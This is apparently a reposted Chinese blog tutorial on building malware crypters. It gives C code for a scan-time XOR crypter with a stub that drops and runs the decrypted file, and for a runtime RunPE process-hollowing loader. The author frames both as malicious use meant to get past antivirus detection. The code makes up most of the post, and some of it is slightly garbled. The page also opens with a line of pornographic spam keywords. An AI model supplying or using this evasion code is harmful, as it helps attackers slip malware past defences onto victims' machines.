日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

神秘的加密工具

發布時間:2024/3/26 编程问答 39 豆豆
生活随笔 收集整理的這篇文章主要介紹了 神秘的加密工具 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

?

我一直認為,在黑客世界里,加密技術是一種很神秘的藝術,是一種很隱晦的東西,我們可以查找資料來進行研究。當然,它在黑客世界中已經變得非常普遍,尤其是在2013年和2014年推出了Veil-Evasion和shellter工具。在這篇文章中,我將詳細介紹加密工具的類型以及它們在底層的工作原理,然后展示低級代碼層面上一些鮮為人知的技術。在閱讀完這篇文章后,我希望大家最終能對這些玩意兒的工作原理以及它們在計算機世界中的地位和作用有一定程度的了解。

涉及知識點實操-RC4加密實驗?

稍微聲明一下:有些材料可能不適合初學者,因為它們需要相當多的Windows底層的知識。包括以下很多技術。

掌握?C/C++ 熟悉WinAPI?和對應的文檔 熟悉基礎的加密知識 熟悉PE文件的結構 熟悉?Windows?虛擬內存 熟悉進程和線程

密碼學的兩個方面

當我們談起對于密碼學的印象時,我們經常會想到 "這是一種處理信息的手段,防止信息被泄露出去"。我們大多數人都把它看成是一種防御機制,其應用的目的在于確保信息的安全,阻止惡意的攻擊。當然,我們很清楚這一點,因為它被發明出來的唯一目的就是保護數據,然而,正如我們很快就會看到的那樣,密碼學的功能已經遠遠不止這些。

如果我們使用傳統的密碼學來進行惡意攻擊,即設計惡意軟件,利用密碼學提供的優勢。這些類型的惡意軟件在現代已經非常普遍,包括勒索軟件和非對稱后門等,它們主要涉及公鑰密碼學。

反病毒機制

為了能夠設計出繞過殺毒軟件的方式,我們必須首先要明白殺毒軟件的殺毒方式。我將簡單介紹一下殺毒軟件檢測應用程序采用的兩種主要方法。

基于簽名的檢測

顧名思義,基于簽名的檢測是一種將應用程序的簽名與相應的已知惡意軟件的數據庫進行交叉參考匹配的技術。這是預防和遏制之前出現過的惡意軟件的有效措施。

基于啟發式檢測

雖然基于簽名的檢測可以防止大多數以前已知的惡意軟件,但它也有缺點,因為惡意軟件作者可以針對這種方法添加保護措施,如使用多態和變形代碼等。基于啟發式的檢測會監控應用程序的行為和特征,并將其與已知的惡意行為進行匹配。請注意,只有在應用程序正在運行的情況下才會進行這種檢測。

當然,殺毒軟件要比這個高級很多。由于這已經超出了文章討論的范圍,也超出了我的理解范圍,所以這里不會涉及這些信息。

加密技術簡介

加密器是被設計用來保護文件內部信息的軟件,并且在執行后,用解密程序提取后能夠完整地提供信息。請注意,雖然加密器可以被用于惡意目的,但它也主要用于混淆數據,防止對軟件逆向工程。在本文中,我們將重點討論惡意使用的情況。那么,這是如何工作的呢?讓我們先來了解密碼器的各部分,看一下它們的作用。

加密器負責對目標對象進行加密。

+-------------+??????+-----------+??????+-------------------+?????+--------+ |??Your?file??|??->??|??Crypter??|??=>??|??Encrypted?file???|??+??|??Stub??| +-------------+??????+-----------+??????+-------------------+?????+--------+ +------------------+?????+--------+??????????????????+---------------+ |??Encrypted?file??|??+??|??Stub??|??=?Execution?=>??|?Original?File?|? +------------------+?????+--------+??????????????????+---------------+

掃描時加密器

這些類型的加密器由于能夠加密磁盤上的數據而被稱為掃描時加密器,殺毒軟件可以對文件進行掃描,例如基于簽名的檢測。在這一階段,只要應用的混淆技術是足夠強大的,殺毒軟件將永遠無法檢測到任何惡意活動。

運行時加密器

這些加密器將加密技術提升到了一個新的水平,能夠在內存中運行時根據需要對數據進行加密。通過這樣做,能夠使惡意軟件在殺毒軟件作出反應之前加載和執行。在這個階段,一個應用程序可以快速地運行它的有效載荷并達到它的目標。但是惡意軟件完全有可能在執行階段觸發殺毒軟件的基于啟發式的檢測策略,所以惡意軟件作者應該小心。

現在我們已經介紹了高層次的內容,那么我們就來看看這兩種類型的實例。

編寫掃描時間加密器

掃描時加密器是兩者中比較簡單的,因為它不需要虛擬內存和進程/線程的知識。本質上,stub會對文件進行處理,把它放到磁盤上的某個地方,然后執行它。下面記錄了一個掃描時加密器的設計。

注意:為了簡潔和可讀性,內容將不包含錯誤檢查。

加密器和stub偽代碼

1.檢查是否有命令行參數 +->?2.?如果有命令行參數,則作為加密器對文件進行加密處理 |???3.?打開目標文件 |???4.?讀取文件內容 |???5.?對文件內容進行加密 |???6.?創建一個新文件 |???7.?將加密后的文件寫入新文件 |???8.?結束 | +->?2.?如果沒有命令行參數,則作為stub3.?打開加密文件4.?讀取文件內容5.?解密文件內容6.?創建一個臨時文件7.?將解密后的內容寫入臨時文件8.?執行文件9.?完成

這個設計方案在同一個可執行文件中同時實現了加密器和stub,我們可以這樣做,是因為這兩個操作非常相似。下面用代碼來介紹一下設計方案。

首先,我們需要定義main和兩個條件,這兩個條件定義了是執行加密器還是stub。

int?APIENTRY?WinMain(HINSTANCE?hInstance,?HINSTANCE?hPrevInstance,?LPSTR?lpCmdLine,?int?nCmdShow)?{if?(__argc?<?2)?{//?stub?routine}?else?{//?crypter?routine}return?EXIT_SUCCESS; }

由于我們將應用程序設計成了窗口應用程序,我們不能像通常基于控制臺的應用程序中那樣檢索 argc 和 argv,但是微軟提供了使用 __argc 和 __argv的解決方案。如果命令行參數 __argv[1] 存在,應用程序將嘗試對指定的文件進行加密,否則,它將嘗試解密一個被加密的文件。

接下來是加密程序,我們需要 __argv[1] 來指定文件的句柄和它的大小,這樣我們就可以把它的字節復制到一個緩沖區中進行加密。

int?APIENTRY?WinMain(HINSTANCE?hInstance,?HINSTANCE?hPrevInstance,?LPSTR?lpCmdLine,?int?nCmdShow)?{if?(__argc?<?2)?{//?stub?routine}?else?{//?crypter?routine//?open?file?to?cryptHANDLE?hFile?=?CreateFile(__argv[1],?FILE_READ_ACCESS,?0,?NULL,?OPEN_EXISTING,?FILE_ATTRIBUTE_NORMAL,?NULL);//?get?file?sizeDWORD?dwFileSize?=?GetFileSize(hFile,?NULL);//?crypt?and?get?crypted?bytesLPVOID?lpFileBytes?=?Crypt(hFile,?dwFileSize);}return?EXIT_SUCCESS; }

Crypt函數主要是將文件內容讀入到一個緩沖區中,然后對其進行加密,然后返回一個指向緩沖區的指針。

LPVOID?Crypt(HANDLE?hFile,?DWORD?dwFileSize)?{//?allocate?buffer?for?file?contentsLPVOID?lpFileBytes?=?malloc(dwFileSize);//?read?the?file?into?the?bufferReadFile(hFile,?lpFileBytes,?dwFileSize,?NULL,?NULL);//?apply?XOR?encryptionint?i;for?(i?=?0;?i?<?dwFileSize;?i++)?{*((LPBYTE)lpFileBytes?+?i)?^=?Key[i?%?sizeof(Key)];}return?lpFileBytes; }

現在我們有了加密的字節,我們需要創建一個新的文件,然后將這些字節寫入其中。

int?APIENTRY?WinMain(HINSTANCE?hInstance,?HINSTANCE?hPrevInstance,?LPSTR?lpCmdLine,?int?nCmdShow)?{if?(__argc?<?2)?{//?stub?routine}?else?{//?crypter?routine...//?get?crypted?file?name?in?current?directoryCHAR?szCryptedFileName[MAX_PATH];GetCurrentDirectory(MAX_PATH,?szCryptedFileName);strcat(szCryptedFileName,?"\\");strcat(szCryptedFileName,?CRYPTED_FILE);//?open?handle?to?new?crypted?fileHANDLE?hCryptedFile?=?CreateFile(szCryptedFileName,?FILE_WRITE_ACCESS,?0,?NULL,?CREATE_ALWAYS,?FILE_ATTRIBUTE_NORMAL,?NULL);//?write?to?crypted?fileWriteFile(hCryptedFile,?lpFileBytes,?dwFileSize,?NULL,?NULL);CloseHandle(hCryptedFile);free(lpFileBytes);}return?EXIT_SUCCESS; }

加密器部分差不多就是這些了。注意,我們使用了一個簡單的XOR來加密文件的內容,如果我們能夠獲得密鑰,這種方案的安全性可能是不夠的。如果我們想更加安全,我們可以使用其他的加密方案,如RC4或(x)TEA。我們不需要完整的加密算法,因為我們的目的是為了避免基于簽名的檢測,因此這么做完全是矯枉過正。保持文件小而簡單最重要。

讓我們繼續進入stub例程。對于stub程序,我們要檢索當前目錄下的加密文件,然后將解密后的內容寫入一個臨時文件中進行執行。

我們首先要得到當前的要處理的文件,然后打開文件,得到文件大小。

int?APIENTRY?WinMain(HINSTANCE?hInstance,?HINSTANCE?hPrevInstance,?LPSTR?lpCmdLine,?int?nCmdShow)?{if?(__argc?<?2)?{//?stub?routine//?get?target?encrypted?fileCHAR?szEncryptedFileName[MAX_PATH];GetCurrentDirectory(MAX_PATH,?szEncryptedFileName);strcat(szEncryptedFileName,?"\\");strcat(szEncryptedFileName,?CRYPTED_FILE);//?get?handle?to?fileHANDLE?hFile?=?CreateFile(szEncryptedFileName,?FILE_READ_ACCESS,?0,?NULL,?OPEN_EXISTING,?FILE_ATTRIBUTE_NORMAL,?NULL);//?get?file?sizeDWORD?dwFileSize?=?GetFileSize(hFile,?NULL);}?else?{//?crypter?routine}return?EXIT_SUCCESS; }

和加密器例程差不多。接下來,我們要讀取文件內容,并得到解密后的字節。由于XOR操作恢復了給定的公共位的值,我們可以簡單地重用Crypt函數。之后,我們需要創建一個臨時文件,并將解密后的字節寫入其中。

int?APIENTRY?WinMain(HINSTANCE?hInstance,?HINSTANCE?hPrevInstance,?LPSTR?lpCmdLine,?int?nCmdShow)?{if?(__argc?<?2)?{//?stub?routine...//?decrypt?and?obtain?decrypted?bytesLPVOID?lpFileBytes?=?Crypt(hFile,?dwFileSize);CloseHandle(hFile);//?get?file?in?temporary?directoryCHAR?szTempFileName[MAX_PATH];GetTempPath(MAX_PATH,?szTempFileName);strcat(szTempFileName,?DECRYPTED_FILE);//?open?handle?to?temp?fileHANDLE?hTempFile?=?CreateFile(szTempFileName,?FILE_WRITE_ACCESS,?0,?NULL,?CREATE_ALWAYS,?FILE_ATTRIBUTE_NORMAL,?NULL);//?write?to?temporary?fileWriteFile(hTempFile,?lpFileBytes,?dwFileSize,?NULL,?NULL);//?clean?upCloseHandle(hTempFile);free(lpFileBytes);}?else?{//?crypter?routine}return?EXIT_SUCCESS; }

最后,我們需要執行解密后的應用程序。

int?APIENTRY?WinMain(HINSTANCE?hInstance,?HINSTANCE?hPrevInstance,?LPSTR?lpCmdLine,?int?nCmdShow)?{if?(__argc?<?2)?{//?stub?routine...//?execute?fileShellExecute(NULL,?NULL,?szTempFileName,?NULL,?NULL,?0);}?else?{//?crypter?routine}return?EXIT_SUCCESS; }

請注意,一旦解密后的應用程序被寫入磁盤,它很有可能被殺毒軟件的基于簽名的檢測方式檢測出來,因此這樣有可能捕獲大多數的惡意軟件。正因為如此,惡意軟件的作者需要編寫即使他們的應用程序在這種情況下仍然能夠執行的功能。

掃描時加密器就到此為止。

編寫一個運行時加密器

對于運行時加密器,我的文章只涉及stub,因為它還包括更復雜的過程,所以我們將假設應用程序已經被加密。這些加密器使用一種叫做RunPE的流行技術。它的工作原理是stub先解密應用程序的加密字節,然后模擬Windows加載器,將它們推送到暫停進程的虛擬內存空間中。這個過程完成后,stub將把暫停的進程恢復運行。

注意:為了簡潔和可讀性,我將不包含錯誤檢查。

stub偽代碼

1.?Decrypt?application 2.?Create?suspended?process 3.?Preserve?process's?thread?context 4.?Hollow?out?process's?virtual?memory?space 5.?Allocate?virtual?memory 6.?Write?application's?header?and?ps?into?allocated?memory 7.?Set?modified?thread?context 8.?Resume?process 9.?Finish

我們可以看到,這需要相當多的Windows內部知識,包括PE文件結構、Windows內存操作和進程/線程的知識。我強烈建議讀者在理解這些知識的基礎上來理解下面的材料。

首先,讓我們在main中設置兩個例程,一個用于解密被加密的應用程序,另一個用于將其加載到內存中執行。

APIENTRY?WinMain(HINSTANCE?hInstance,?HINSTANCE?hPrevInstance,?LPSTR?lpCmdLine,?int?nCmdShow)?{Decrypt();RunPE();return?EXIT_SUCCESS; }

Decrypt函數實現方式完全依賴于用于應用程序的加密方式,這里是一個使用XOR的示例代碼。

VOID?Decrypt(VOID)?{int?i;for?(i?=?0;?i?<?sizeof(Shellcode);?i++)?{Shellcode[i]?^=?Key[i?%?sizeof(Key)];} }

現在,應用程序已經被解密,讓我們來看看神奇的地方。在這里,我們通過檢查DOS和PE簽名來驗證該應用程序是否是一個有效的PE文件。

VOID?RunPE(VOID)?{//?check?valid?DOS?signaturePIMAGE_DOS_HEADER?pidh?=?(PIMAGE_DOS_HEADER)Shellcode;if?(pidh->e_magic?!=?IMAGE_DOS_SIGNATURE)?return;//?check?valid?PE?signaturePIMAGE_NT_HEADERS?pinh?=?(PIMAGE_NT_HEADERS)((DWORD)Shellcode?+?pidh->e_lfanew);if?(pinh->Signature?!=?IMAGE_NT_SIGNATURE)?return; }

現在,我們將創建暫停的進程。

VOID?RunPE(VOID)?{...//?get?own?full?file?nameCHAR?szFileName[MAX_PATH];GetModuleFileName(NULL,?szFileName,?MAX_PATH);//?initialize?startup?and?process?informationSTARTUPINFO?si;PROCESS_INFORMATION?pi;ZeroMemory(&si,?sizeof(si));ZeroMemory(&pi,?sizeof(pi));//?required?to?set?size?of?si.cb?before?usesi.cb?=?sizeof(si);//?create?suspended?processCreateProcess(szFileName,?NULL,?NULL,?NULL,?FALSE,?CREATE_SUSPENDED,?NULL,?NULL,?&si,?&pi);}

注意,szFileName可以是任何可執行文件的完整路徑,如explorer.exe或iexplore.exe,但在本例中,我們將使用stub的文件。CreateProcess函數將在暫停狀態下創建一個指定文件的子進程,這樣我們就可以根據自己的需要來修改它的虛擬內存內容。

VOID?RunPE(VOID)?{...//?obtain?thread?contextCONTEXT?ctx;ctx.ContextFlags?=?CONTEXT_FULL;GetThreadContext(pi.Thread,?&ctx);}

現在我們清空進程的虛擬內存區域,這樣我們就可以為應用程序分配自己的運行空間。為此,我們需要一個函數,而這個函數對我們來說并不是現成的,因此我們需要一個函數指針,指向一個從ntdll.dll 文件中動態檢索內容的函數。

typedef?NTSTATUS?(*fZwUnmapViewOfSection)(HANDLE,?PVOID);VOID?RunPE(VOID)?{...//?dynamically?retrieve?ZwUnmapViewOfSection?function?from?ntdll.dllfZwUnmapViewOfSection?pZwUnmapViewOfSection?=?(fZwUnmapViewOfSection)GetProcAddress(GetModuleHandle("ntdll.dll"),?"ZwUnmapViewOfSection");//?hollow?process?at?virtual?memory?address?'pinh->OptionalHeader.ImageBase'pZwUnMapViewOfSection(pi.hProcess,?(PVOID)pinh->OptionalHeader.ImageBase);//?allocate?virtual?memory?at?address?'pinh->OptionalHeader.ImageBase'?of?size?`pinh->OptionalHeader.SizeofImage`?with?RWX?permissionsLPVOID?lpBaseAddress?=?VirtualAllocEx(pi.hProcess,?(LPVOID)pinh->OptionalHeader.ImageBase,?pinh->OptionalHeader.SizeOfImage,?MEM_COMMIT?|?MEM_RESERVE,?PAGE_EXECUTE_READWRITE);}

由于被暫停的進程在其虛擬內存空間內有自己的內容,我們需要從內存中對它進行解映射,然后分配我們自己的內容,這樣我們就有訪問權限來加載我們的應用程序的映像。我們將通過WriteProcessMemory函數來實現。首先,我們需要像Windows加載器一樣,先寫頭文件,然后分別寫每個部分。這一部分需要對PE文件結構有一個全面的了解。

VOID?RunPE(VOID)?{...//?write?headerWriteProcessMemory(pi.hProcess,?(LPVOID)pinh->OptionalHeader.ImageBase,?Shellcode,?pinh->OptionalHeader.SizeOfHeaders,?NULL);//?write?each?pint?i;for?(i?=?0;?i?<?pinh->FileHeader.NumberOfSections;?i++)?{//?calculate?and?get?ith?pPIMAGE_SECTION_HEADER?pish?=?(PIMAGE_SECTION_HEADER)((DWORD)Shellcode?+?pidh->e_lfanew?+?sizeof(IMAGE_NT_HEADERS)?+?sizeof(IMAGE_SECTION_HEADER)?*?i);//?write?p?dataWriteProcessMemory(pi.hProcess,?(LPVOID)(lpBaseAddress?+?pish->VirtualAddress),?(LPVOID)((DWORD)Shellcode?+?pish->PointerToRawData),?pish->SizeOfRawData,?NULL);}}

現在一切就緒,我們只需修改上下文的切入點地址,然后恢復暫停的線程。

VOID?RunPE(VOID)?{...//?set?appropriate?address?of?entry?pointctx.Eax?=?pinh->OptionalHeader.ImageBase?+?pinh->OptionalHeader.AddressOfEntryPoint;SetThreadContext(pi.hThread,?&ctx);//?resume?and?execute?our?applicationResumeThread(pi.hThread); }

現在,應用程序已經開始在內存中運行,希望殺毒軟件不會檢測到它。

總結

以上是生活随笔為你收集整理的神秘的加密工具的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。